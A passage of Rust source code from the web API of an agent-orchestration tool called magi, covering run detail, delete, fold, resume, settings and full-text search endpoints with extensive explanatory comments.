2551struct SourceLink {
2552    /// `chat` (a conversation) or `run` (a run's node).
2553    kind: &'static str,
2554    /// The full id, never the short one in the label.
2555    id: String,
2556    /// The hash route that opens it.
2557    href: String,
2558}
2559
2560/// Percent-encode everything outside the URL-unreserved set.
2561fn encode_segment(raw: &str) -> String {
2562    let mut out = String::with_capacity(raw.len());
2563    for b in raw.bytes() {
2564        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
2565            out.push(b as char);
2566        } else {
2567            out.push_str(&format!("%{b:02X}"));
2568        }
2569    }
2570    out
2571}
2572
2573/// The one place that decides where a task's source links to. A chat
2574/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
2575/// a person or an imported issue has no page, so no link.
2576fn source_link(source: &Source) -> Option<SourceLink> {
2577    let Source::Agent { run, node } = source else {
2578        return None;
2579    };
2580    let (kind, route) = if node == crate::queue::CHAT_NODE {
2581        ("chat", "chat")
2582    } else {
2583        ("run", "runs")
2584    };
2585    Some(SourceLink {
2586        kind,
2587        id: run.clone(),
2588        href: format!("#/{route}/{}", encode_segment(run)),
2589    })
2590}
2591
2592/// Another run of the same task, as named from a run's detail page.
2593#[derive(Debug, Serialize)]
2594struct RunBrief {
2595    id: String,
2596    short: String,
2597    /// `None` when the run's record cannot be read.
2598    status: Option<&'static str>,
2599    /// The task-page wording for how that pass ended.
2600    outcome: String,
2601}
2602
2603/// The task's overall outcome as seen from `this_run`'s page, classified with
2604/// the same exits the task page's flowchart uses.
2605fn task_outcome(
2606    task: &Task,
2607    this_run: &str,
2608    max_attempts: usize,
2609    read: impl Fn(&str) -> Option<RunState>,
2610) -> TaskRef {
2611    let history = task_history(task, read);
2612    let brief = |h: &TaskRunView| RunBrief {
2613        id: h.id.clone(),
2614        short: h.short.clone(),
2615        status: h.status,
2616        outcome: h.exit.edge_label(h.status),
2617    };
2618    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
2619    let latest = if is_latest {
2620        None
2621    } else {
2622        history.last().map(brief)
2623    };
2624    let done = task.status == TaskStatus::Done;
2625    let finished_by = done
2626        .then(|| {
2627            history
2628                .iter()
2629                .rev()
2630                .find(|h| {
2631                    matches!(
2632                        h.exit,
2633                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
2634                    )
2635                })
2636                .map(brief)
2637        })
2638        .flatten();
2639    TaskRef {
2640        short: task.short().to_owned(),
2641        title: task.title.clone(),
2642        id: task.id.clone(),
2643        source_label: task.source.label(),
2644        source_link: source_link(&task.source),
2645        status: task.status.as_str(),
2646        attempts: task.attempts,
2647        max_attempts,
2648        is_latest,
2649        latest,
2650        closed_by_hand: done && finished_by.is_none(),
2651        finished_by,
2652    }
2653}
2654
2655/// The task's current attempt, as seen from an older one's detail page.
2656#[derive(Debug, Serialize)]
2657struct LatestAttempt {
2658    id: String,
2659    short: String,
2660    /// Whether this attempt itself settled with a result nobody needs to
2661    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
2662    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
2663    /// unconfirmed claim that no change was needed, which is exactly why it
2664    /// settles the task through `Held` rather than `Done` and still waits on
2665    /// a human to check the evidence; showing an older run as "finished
2666    /// elsewhere" on the strength of an unverified claim would bury the
2667    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
2668    /// in-flight status are excluded because they are exactly the
2669    /// unresolved states this field exists to tell apart from a real finish.
2670    resolved: bool,
2671    /// The attempt's own recorded status, so the page can say where it
2672    /// stands while it is not resolved yet.
2673    status: RunStatus,
2674    /// Whether that status is terminal (nothing is still running it).
2675    done: bool,
2676}
2677
2678impl RunDetailView {
2679    fn of(
2680        state: RunState,
2681        live: crate::run::Liveness,
2682        superseded_by: Option<String>,
2683        latest_attempt: Option<LatestAttempt>,
2684        task: Option<TaskRef>,
2685    ) -> Self {
2686        Self {
2687            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2688            origin_label: crate::run::origin_label(state.origin.as_ref()),
2689            live,
2690            unmerged_by_design: state.unmerged_by_design(),
2691            done: state.status.done(),
2692            superseded_by,
2693            latest_attempt,
2694            task,
2695            state,
2696        }
2697    }
2698}
2699
2700async fn run_detail(
2701    State(ui): State<Arc<Ui>>,
2702    Path(id): Path<String>,
2703) -> ApiResult<Json<RunDetailView>> {
2704    blocking(move || {
2705        let id = resolve_run(&ui.runs, &id)?;
2706        let state = read_run(&ui.runs, &id)?;
2707        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2708        let live = state.liveness(daemon_claims);
2709        let superseded_by = ui
2710            .queue
2711            .superseded_by(&id)
2712            .as_deref()
2713            .map(crate::run::short_of)
2714            .map(str::to_owned);
2715        // Best-effort: an unreadable head (mid-write, or deleted) just means
2716        // this run's own status stands on its own, same as no later attempt
2717        // existing at all.
2718        let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
2719            read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
2720                short: head.short().to_owned(),
2721                resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
2722                status: head.status,
2723                done: head.status.done(),
2724                id: head.id,
2725            })
2726        });
2727        let max_attempts = daemon::Opts::default().max_attempts;
2728        let task = ui
2729            .queue
2730            .list()
2731            .into_iter()
2732            .find(|t| t.runs.contains(&id))
2733            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
2734        Ok(Json(RunDetailView::of(
2735            state,
2736            live,
2737            superseded_by,
2738            latest_attempt,
2739            task,
2740        )))
2741    })
2742    .await
2743}
2744
2745/// `DELETE /api/runs/{id}`.
2746///
2747/// Remove a finished, folded run directory along with its artifacts.
2748/// Running runs and runs with unfolded candidate worktrees/branches cannot be
2749/// deleted. This never touches git worktrees or branches - except for a run
2750/// whose state this build cannot read at all, where there is no candidate
2751/// list to check and the wholesale removal `magi fold` already uses for that
2752/// case is the only meaningful "delete".
2753async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2754    let (id, unreadable) = {
2755        let ui = Arc::clone(&ui);
2756        blocking(move || {
2757            let id = resolve_run(&ui.runs, &id)?;
2758            match read_run(&ui.runs, &id) {
2759                Ok(state) => {
2760                    let in_flight =
2761                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2762                    state
2763                        .ensure_can_delete(in_flight)
2764                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2765                    let dir = ui.runs.join(&id);
2766                    std::fs::remove_dir_all(&dir)
2767                        .with_context(|| format!("remove run directory {}", dir.display()))?;
2768                    Ok((id, false))
2769                }
2770                Err(_) => {
2771                    // Unreadable: there is no candidate list to guard on, so
2772                    // a live daemon's claim is the only thing left to check -
2773                    // the same rule `run_fold` applies for the same reason.
2774                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2775                        return Err(ApiError::conflict(format!(
2776                            "run {id} is being worked on by a live daemon right now"
2777                        )));
2778                    }
2779                    Ok((id, true))
2780                }
2781            }
2782        })
2783        .await?
2784    };
2785    if unreadable {
2786        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2787            .await
2788            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2789    }
2790    let ui = Arc::clone(&ui);
2791    let done = id.clone();
2792    blocking(move || {
2793        // The agent that asked died with the run, so an open question would
2794        // keep asking the operator for a decision nobody can deliver.
2795        ui.questions.abandon_for_run(
2796            &done,
2797            &format!("run {done} was deleted, so nothing is waiting for this answer"),
2798        )?;
2799        Ok(())
2800    })
2801    .await?;
2802    Ok(StatusCode::NO_CONTENT)
2803}
2804
2805/// `POST /api/runs/{id}/fold`.
2806///
2807/// Remove a run's candidate worktrees and branches, keeping its record.
2808///
2809/// This exists because the deck answered "delete this run" with *"Candidates
2810/// must be folded before deleting. Run `magi fold` first."* — a phone being
2811/// told to open a terminal, in the one product whose point is that it does
2812/// not need one. The runs an operator most wants gone are the stalled and
2813/// blocked ones, and those are exactly the runs still holding worktrees:
2814/// three of them here held 53 GB.
2815///
2816/// The winner's tree goes too. A fold is what someone asks for when they are
2817/// finished with a run, and leaving one tree behind would leave the delete
2818/// button disabled for the same reason as before.
2819///
2820/// Refused while a live daemon is working on the run, on the rule that guards
2821/// deletion: folding underneath a running agent would pull the tree it is
2822/// editing out from under it.
2823///
2824/// A run whose state this build cannot read at all falls back to
2825/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
2826/// selectively, so the whole record's worktree goes wholesale, exactly what
2827/// `magi fold` does on the command line for the same run.
2828async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2829    let (id, state) = {
2830        let ui = Arc::clone(&ui);
2831        blocking(move || {
2832            let id = resolve_run(&ui.runs, &id)?;
2833            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2834                return Err(ApiError::conflict(format!(
2835                    "run {id} is being worked on by a live daemon right now"
2836                )));
2837            }
2838            let state = read_run(&ui.runs, &id).ok();
2839            Ok((id, state))
2840        })
2841        .await?
2842    };
2843    let removed = match state {
2844        Some(mut state) => {
2845            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2846                .await
2847                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2848            // Nothing left to remove is not the same thing as nothing left to
2849            // do — see `clean::clear_abandoned_active`'s own doc for the run
2850            // this exists for: worktrees already gone, but a killed process
2851            // left active seats nobody will ever answer for.
2852            if removed.is_empty() {
2853                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2854                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2855            }
2856            removed
2857        }
2858        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2859            .await
2860            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2861    };
2862    Ok(Json(FoldView {
2863        run: id,
2864        removed_count: removed.len(),
2865        removed,
2866    }))
2867}
2868
2869/// What a fold took away, so the deck can say so rather than only re-render.
2870#[derive(Debug, Serialize)]
2871struct FoldView {
2872    run: String,
2873    /// Worktree paths and branch names removed, in the order they went.
2874    removed: Vec<String>,
2875    removed_count: usize,
2876}
2877
2878/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
2879/// merged outside of `land::land`'s own loop.
2880#[derive(Debug, Deserialize)]
2881struct FoldMergedBody {
2882    #[serde(default)]
2883    pr_url: String,
2884}
2885
2886/// `POST /api/runs/{id}/fold-merged`.
2887///
2888/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
2889/// `Blocked` with `merge: null` because magi never got as far as opening a
2890/// pull request of its own (a title over GitHub's length limit, `gh pr
2891/// create` unreachable, a stale token), which the operator then finished by
2892/// hand on a pull request magi never recorded. The "Run actions" sheet used
2893/// to have no way to tell it about that pull request short of a terminal and
2894/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
2895/// this exists and what it deliberately does not do (`bump::after_merge`).
2896///
2897/// Refused, like [`run_fold`], while a live daemon is working on the run: the
2898/// correction rewrites the same `status`/`merge` fields a running graph would
2899/// be writing to on its own.
2900///
2901/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
2902/// calls plus a fold, seconds of work, and the phone should get its answer
2903/// (which pull request it recorded, and what changed) in the same round
2904/// trip rather than learning it from the change stream.
2905async fn run_fold_merged(
2906    State(ui): State<Arc<Ui>>,
2907    Path(id): Path<String>,
2908    Json(body): Json<FoldMergedBody>,
2909) -> ApiResult<Json<FoldMergedView>> {
2910    let pr_url = body.pr_url.trim().to_owned();
2911    if pr_url.is_empty() {
2912        return Err(ApiError::bad_request("pr_url is required"));
2913    }
2914    let (id, mut state) = {
2915        let ui = Arc::clone(&ui);
2916        blocking(move || {
2917            let id = resolve_run(&ui.runs, &id)?;
2918            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2919                return Err(ApiError::conflict(format!(
2920                    "run {id} is being worked on by a live daemon right now"
2921                )));
2922            }
2923            let state = read_run(&ui.runs, &id)?;
2924            Ok((id, state))
2925        })
2926        .await?
2927    };
2928    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
2929        .await
2930        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2931    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2932        .await
2933        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2934    Ok(Json(FoldMergedView {
2935        run: id,
2936        before: before.as_str().to_owned(),
2937        after: after.as_str().to_owned(),
2938        removed,
2939    }))
2940}
2941
2942/// What [`run_fold_merged`] did, so the deck can say so.
2943#[derive(Debug, Serialize)]
2944struct FoldMergedView {
2945    run: String,
2946    /// `status` before the correction — normally `"blocked"`.
2947    before: String,
2948    /// `status` after — normally `"merged"`.
2949    after: String,
2950    /// Worktree paths and branch names the trailing fold removed.
2951    removed: Vec<String>,
2952}
2953
2954/// `POST /api/runs/{id}/resume`.
2955///
2956/// Carry a stalled run on from where it stopped, in the background.
2957///
2958/// A stalled card says "the work is kept" and used to offer no way to act on
2959/// that: the candidates are built and paid for, and continuing means re-asking
2960/// only the seats whose absence collapsed the panel. The alternative an
2961/// operator actually had was releasing the task, which competes three fresh
2962/// implementations against work that already exists.
2963///
2964/// **202, not 200.** A resume runs agents for minutes; holding the connection
2965/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
2966/// phone learns the outcome from the change stream.
2967///
2968/// Refused when the loop is running at all, not merely when it is on this run.
2969/// The scarce resource is the agent CLIs' quota, and a tap that quietly
2970/// started a second graph on top of whatever the loop is already driving —
2971/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
2972/// allows — would spend that quota twice over for no extra throughput.
2973async fn run_resume(
2974    State(ui): State<Arc<Ui>>,
2975    Path(id): Path<String>,
2976) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2977    let (id, state) = {
2978        let ui = Arc::clone(&ui);
2979        blocking(move || {
2980            let id = resolve_run(&ui.runs, &id)?;
2981            let state = read_run(&ui.runs, &id)?;
2982            Ok((id, state))
2983        })
2984        .await?
2985    };
2986    if let Some(to) = &state.released_to {
2987        return Err(ApiError::conflict(format!(
2988            "run {} can no longer be resumed: its worktree was released to run {}, which \
2989             took the branch over.",
2990            state.short(),
2991            crate::run::short_of(to)
2992        )));
2993    }
2994    if !state.status.resumable() {
2995        return Err(ApiError::conflict(format!(
2996            "run {} is `{}`, and only a stalled or blocked run can be resumed",
2997            state.short(),
2998            status_word(state.status)
2999        )));
3000    }
3001    // Refused whenever the loop is running anything at all, not merely when
3002    // it is on this run: a manual resume racing a loop-driven run over the
3003    // same agent quota is the thing this guard exists to prevent, whether
3004    // the loop's own concurrency is one run or several.
3005    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3006        .into_iter()
3007        .next()
3008    {
3009        return Err(ApiError::conflict(format!(
3010            "the loop is running run {} right now; stop it first, or wait for \
3011             it to finish, before resuming a run by hand.",
3012            crate::run::short_of(&work.run)
3013        )));
3014    }
3015    let _resume = ui.begin_resume(&id)?;
3016
3017    // The same shape the list route returns, so the phone updates the card it
3018    // already has rather than learning a second schema for one button.
3019    let queued = RunSummary::of(
3020        &state,
3021        !ui.questions.open_for(&id).is_empty(),
3022        state.liveness(false),
3023    );
3024    let run = id.clone();
3025    tokio::spawn(async move {
3026        let _resume = _resume;
3027        match crate::graph::Runner::resume(&run) {
3028            Ok(mut runner) => {
3029                if let Err(e) = runner.execute().await {
3030                    tracing::warn!("resume of run {run} stopped: {e:#}");
3031                }
3032            }
3033            // The run's own record is what the phone reads; this line is for
3034            // the operator's terminal.
3035            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3036        }
3037    });
3038    Ok((StatusCode::ACCEPTED, Json(queued)))
3039}
3040
3041async fn run_report(
3042    State(ui): State<Arc<Ui>>,
3043    Path(id): Path<String>,
3044) -> ApiResult<impl IntoResponse> {
3045    let text = blocking(move || {
3046        let id = resolve_run(&ui.runs, &id)?;
3047        // Colour is off for the whole process, set once in `serve`. Rendering
3048        // is CPU work over the full state, which is the other reason this is
3049        // not on the executor.
3050        let state = read_run(&ui.runs, &id)?;
3051        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3052        let live = state.liveness(daemon_claims);
3053        Ok(format!(
3054            "{}{}",
3055            report::run(&state),
3056            report::active_seats(&state, live)
3057        ))
3058    })
3059    .await?;
3060    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3061}
3062
3063/// A task as the UI sees it.
3064///
3065/// The whole task, plus the two things the client would otherwise have to
3066/// reimplement: the human-readable source and the status string. Nothing is
3067/// removed - the phone shows `last_error` and the run history verbatim.
3068#[derive(Debug, Serialize)]
3069struct TaskView {
3070    #[serde(flatten)]
3071    task: Task,
3072    source_label: String,
3073    source_link: Option<SourceLink>,
3074    status_str: &'static str,
3075    /// The instruction, parsed as markdown, for the Queue card's "Full
3076    /// instruction" panel. `task.instruction` is unchanged and still carries
3077    /// the raw text.
3078    instruction_md: Vec<md::Node>,
3079    /// For a blocked task, what it waits on with each dependency's state, e.g.
3080    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
3081    /// recurses; empty for every other status.
3082    waits_on: Vec<String>,
3083    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
3084    /// behind - non-empty means nothing in the loop will ever run it.
3085    stuck_roots: Vec<String>,
3086}
3087
3088impl From<Task> for TaskView {
3089    fn from(task: Task) -> Self {
3090        Self {
3091            source_label: task.source.label(),
3092            source_link: source_link(&task.source),
3093            status_str: task.status.as_str(),
3094            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3095            waits_on: Vec::new(),
3096            stuck_roots: Vec::new(),
3097            task,
3098        }
3099    }
3100}
3101
3102impl TaskView {
3103    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3104        let waits_on = inv.waits_on(&task);
3105        let stuck_roots = inv
3106            .stuck_roots(&task)
3107            .iter()
3108            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3109            .collect();
3110        Self {
3111            waits_on,
3112            stuck_roots,
3113            ..Self::from(task)
3114        }
3115    }
3116}
3117
3118/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
3119/// its absence, leaves the cache to decide.
3120#[derive(Debug, Default, Deserialize)]
3121#[serde(default)]
3122struct ReposQuery {
3123    refresh: u8,
3124}
3125
3126/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
3127/// listing `magi repos` prints at a terminal.
3128///
3129/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
3130/// so an edit to `magi.toml` takes effect without a restart, the same
3131/// reasoning [`config_for`] documents for the talk routes.
3132async fn repos_list(
3133    State(ui): State<Arc<Ui>>,
3134    Query(q): Query<ReposQuery>,
3135) -> ApiResult<Json<Vec<repos::Repo>>> {
3136    let refresh = q.refresh != 0;
3137    blocking(move || {
3138        let (cfg, _) = Config::discover(&ui.repo, None)?;
3139        Ok(Json(ui.repos_cache.list(
3140            &cfg.repos.roots,
3141            Duration::from_secs(cfg.repos.scan_ttl),
3142            refresh,
3143        )))
3144    })
3145    .await
3146}
3147
3148/// `GET /api/settings` - the effective role assignments and roster, with the
3149/// layer each came from. A config that fails to load answers 200 with an
3150/// `error`, so the screen can say so instead of drawing empty lists.
3151async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3152    blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3153}
3154
3155/// The body of `PUT /api/settings/roles`.
3156#[derive(Debug, Deserialize)]
3157#[serde(deny_unknown_fields)]
3158struct RolesBody {
3159    /// The `revision` the client last read.
3160    revision: String,
3161    /// Role key to its new ids; an empty list resets the key to its default.
3162    roles: std::collections::BTreeMap<String, Vec<String>>,
3163}
3164
3165/// `PUT /api/settings/roles` - save role assignments to the machine config.
3166///
3167/// The write target is `ui.machine_config` and nothing in the body can change
3168/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
3169/// 422 with the reason in words.
3170async fn settings_put_roles(
3171    State(ui): State<Arc<Ui>>,
3172    body: std::result::Result<Json<RolesBody>, JsonRejection>,
3173) -> ApiResult<Json<settings::SettingsView>> {
3174    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3175    blocking(move || {
3176        settings::save(
3177            &ui.repo,
3178            ui.machine_config.as_deref(),
3179            &body.revision,
3180            &body.roles,
3181        )
3182        .map(Json)
3183        .map_err(|e| match e {
3184            settings::SaveError::Conflict(m) => ApiError::conflict(m),
3185            settings::SaveError::Refused(m) => ApiError {
3186                status: StatusCode::UNPROCESSABLE_ENTITY,
3187                message: m,
3188            },
3189            settings::SaveError::Internal(m) => ApiError::internal(m),
3190        })
3191    })
3192    .await
3193}
3194
3195async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
3196    blocking(move || {
3197        let tasks = ui.queue.list();
3198        let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3199        Ok(Json(
3200            tasks
3201                .into_iter()
3202                .map(|t| TaskView::with_inventory(t, &inv))
3203                .collect(),
3204        ))
3205    })
3206    .await
3207}
3208
3209/// Most hits one search returns. The rest are counted in `total`.
3210const SEARCH_MAX_HITS: usize = 100;
3211/// Longest query, in characters, and most terms it is split into.
3212const SEARCH_MAX_QUERY: usize = 200;
3213const SEARCH_MAX_TERMS: usize = 8;
3214/// Characters of context kept before the first hit, and after it.
3215const SNIPPET_BEFORE: usize = 50;
3216const SNIPPET_AFTER: usize = 110;
3217
3218/// `?scope=runs|tasks&q=...`
3219#[derive(Debug, Deserialize)]
3220struct SearchQuery {
3221    #[serde(default)]
3222    scope: String,
3223    #[serde(default)]
3224    q: String,
3225}
3226
3227/// One piece of a snippet. `hit` pieces are what matched; the client renders
3228/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
3229#[derive(Debug, Serialize, PartialEq, Eq)]
3230struct SnippetPart {
3231    text: String,
3232    hit: bool,
3233}
3234
3235#[derive(Debug, Serialize)]
3236struct SearchHit {
3237    id: String,
3238    /// The name of the field the snippet was cut from.
3239    field: String,
3240    snippet: Vec<SnippetPart>,
3241    /// The run's list row, so the page can apply its state / section / repo
3242    /// filters to a hit outside the loaded window. Absent for tasks and for a
3243    /// run record the list view cannot read.
3244    #[serde(skip_serializing_if = "Option::is_none")]
3245    run: Option<RunSummary>,
3246}
3247
3248#[derive(Debug, Serialize)]
3249struct SearchView {
3250    scope: String,
3251    q: String,
3252    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
3253    hits: Vec<SearchHit>,
3254    /// Every match, hits beyond the cap included.
3255    total: usize,
3256    truncated: bool,
3257    /// Runs whose `run.json` could not be parsed at all. They were not
3258    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
3259    unreadable: usize,
3260}
3261
3262/// The text leaves of a JSON document, with the name of the field each sits
3263/// under. Keys and numbers are skipped: they are structure, not prose.
3264fn text_leaves<'a>(
3265    value: &'a serde_json::Value,
3266    field: &'a str,
3267    out: &mut Vec<(&'a str, &'a str)>,
3268) {
3269    match value {
3270        serde_json::Value::String(s) => out.push((field, s)),
3271        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3272        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3273        _ => {}
3274    }
3275}
3276
3277/// Lower-case one character without changing how many there are, so indices
3278/// in the lowered text are indices in the original.
3279fn fold_char(c: char) -> char {
3280    c.to_lowercase().next().unwrap_or(c)
3281}
3282
3283/// Split a query into its lower-cased terms.
3284fn search_terms(q: &str) -> Vec<String> {
3285    let mut terms: Vec<String> = Vec::new();
3286    for t in q.split_whitespace() {
3287        let t = t.to_lowercase();
3288        if !terms.contains(&t) {
3289            terms.push(t);
3290        }
3291    }
3292    terms
3293}
3294
3295/// Match `terms` (all of them, anywhere in the document) against the leaves
3296/// and cut a snippet around the first hit. `None` when a term is missing.
3297fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3298    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3299    let mut first: Option<usize> = None;
3300    for term in terms {
3301        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3302        first = Some(first.map_or(at, |f| f.min(at)));
3303    }
3304    // The leaf holding the earliest hit of any term is where the snippet is cut.
3305    let (field, text) = leaves[first?];
3306    Some(SearchHit {
3307        id: String::new(),
3308        field: field.to_owned(),
3309        snippet: snippet_of(text, terms),
3310        run: None,
3311    })
3312}
3313
3314/// A window of `text` around the first occurrence of any term, whitespace
3315/// collapsed, with every term occurrence inside the window marked.
3316fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3317    let chars: Vec<char> = text.chars().collect();
3318    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3319    let needles: Vec<Vec<char>> = terms
3320        .iter()
3321        .map(|t| t.chars().map(fold_char).collect())
3322        .collect();
3323    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3324        let mut best: Option<(usize, usize)> = None;
3325        for n in needles.iter().filter(|n| !n.is_empty()) {
3326            // `to` bounds where a match may start; it may run past `to` (the
3327            // caller clips what it shows). A term longer than the field cannot
3328            // occur in it (it may live in another leaf of the document).
3329            if n.len() > chars.len() || to == 0 {
3330                continue;
3331            }
3332            let last = (to - 1).min(chars.len() - n.len());
3333            if from > last {
3334                continue;
3335            }
3336            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3337                && best.is_none_or(|(b, _)| i < b)
3338            {
3339                best = Some((i, i + n.len()));
3340            }
3341        }
3342        best
3343    };
3344    let Some((start, _)) = find(0, chars.len()) else {
3345        // Matched only through a case mapping that changes length: show the head.
3346        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
3347        return vec![SnippetPart {
3348            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
3349            hit: false,
3350        }];
3351    };
3352    let lo = start.saturating_sub(SNIPPET_BEFORE);
3353    let hi = (start + SNIPPET_AFTER).min(chars.len());
3354    let mut parts: Vec<SnippetPart> = Vec::new();
3355    let mut push = |s: &[char], hit: bool| {
3356        if s.is_empty() {
3357            return;
3358        }
3359        let text: String = s.iter().collect();
3360        match parts.last_mut() {
3361            Some(p) if p.hit == hit => p.text.push_str(&text),
3362            _ => parts.push(SnippetPart { text, hit }),
3363        }
3364    };
3365    if lo > 0 {
3366        push(&['\u{2026}'], false);
3367    }
3368    let mut at = lo;
3369    while at < hi {
3370        match find(at, hi) {
3371            Some((s, e)) => {
3372                push(&chars[at..s], false);
3373                // A match running past the window is shown up to its edge.
3374                let shown = e.min(hi);
3375                push(&chars[s..shown], true);
3376                at = shown;
3377            }
3378            None => {
3379                push(&chars[at..hi], false);
3380                at = hi;
3381            }
3382        }
3383    }
3384    if hi < chars.len() {
3385        push(&['\u{2026}'], false);
3386    }
3387    // Collapse whitespace (newlines in an instruction) without disturbing the
3388    // hit boundaries.
3389    let mut prev_space = false;
3390    for p in &mut parts {
3391        let mut out = String::with_capacity(p.text.len());
3392        for c in p.text.chars() {
3393            if c.is_whitespace() {
3394                if !prev_space {
3395                    out.push(' ');
3396                }
3397                prev_space = true;
3398            } else {
3399                out.push(c);
3400                prev_space = false;
3401            }
3402        }
3403        p.text = out;
3404    }
3405    parts.retain(|p| !p.text.is_empty());
3406    parts
3407}
3408
3409/// The search over `docs` (id, document), newest first, capped.
3410fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
3411where
3412    I: IntoIterator<Item = (String, serde_json::Value)>,
3413{
3414    for (id, doc) in docs {
3415        let mut leaves = Vec::new();
3416        // The id is text an operator types too, and it is a map key on disk,
3417        // not a leaf.
3418        leaves.push(("id", id.as_str()));
3419        text_leaves(&doc, "", &mut leaves);
3420        if let Some(mut hit) = search_document(terms, &leaves) {
3421            view.total += 1;
3422            if view.hits.len() < SEARCH_MAX_HITS {
3423                hit.id = id;
3424                view.hits.push(hit);
3425            }
3426        }
3427    }
3428    view.truncated = view.total > view.hits.len();
3429}
3430
3431/// What a conversation is searched by: its list title and each turn's text,
3432/// under `operator` / `agent` so the snippet says who spoke. Nothing else
3433/// (session ids, repo paths, usage, drafts) is part of the document.
3434///
3435/// The title rule mirrors `talkOpener` / `firstLine` in `app.js`: the first
3436/// non-empty line of the first operator turn, trimmed and cut to 96 chars.
3437fn talk_search_doc(talk: &Talk) -> serde_json::Value {
3438    let opener = talk
3439        .turns
3440        .iter()
3441        .find(|t| t.who == crate::talk::Who::Operator)
3442        .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
3443        .unwrap_or("");
3444    let title: String = if opener.chars().count() > 96 {
3445        opener.chars().take(95).chain(['\u{2026}']).collect()
3446    } else {
3447        opener.to_owned()
3448    };
3449    let turns: Vec<serde_json::Value> = talk
3450        .turns
3451        .iter()
3452        .map(|t| {
3453            let who = match t.who {
3454                crate::talk::Who::Operator => "operator",
3455                crate::talk::Who::Agent => "agent",
3456            };
3457            serde_json::json!({ who: t.body })
3458        })
3459        .collect();
3460    serde_json::json!({ "title": title, "turns": turns })
3461}
3462
3463/// Read-only full-text search over every run's `run.json`, every task or every
3464/// conversation (title and transcript).
3465///
3466/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
3467/// record from an older schema still searches; only a file that is not JSON
3468/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
3469async fn search_get(
3470    State(ui): State<Arc<Ui>>,
3471    Query(q): Query<SearchQuery>,
3472) -> ApiResult<Json<SearchView>> {
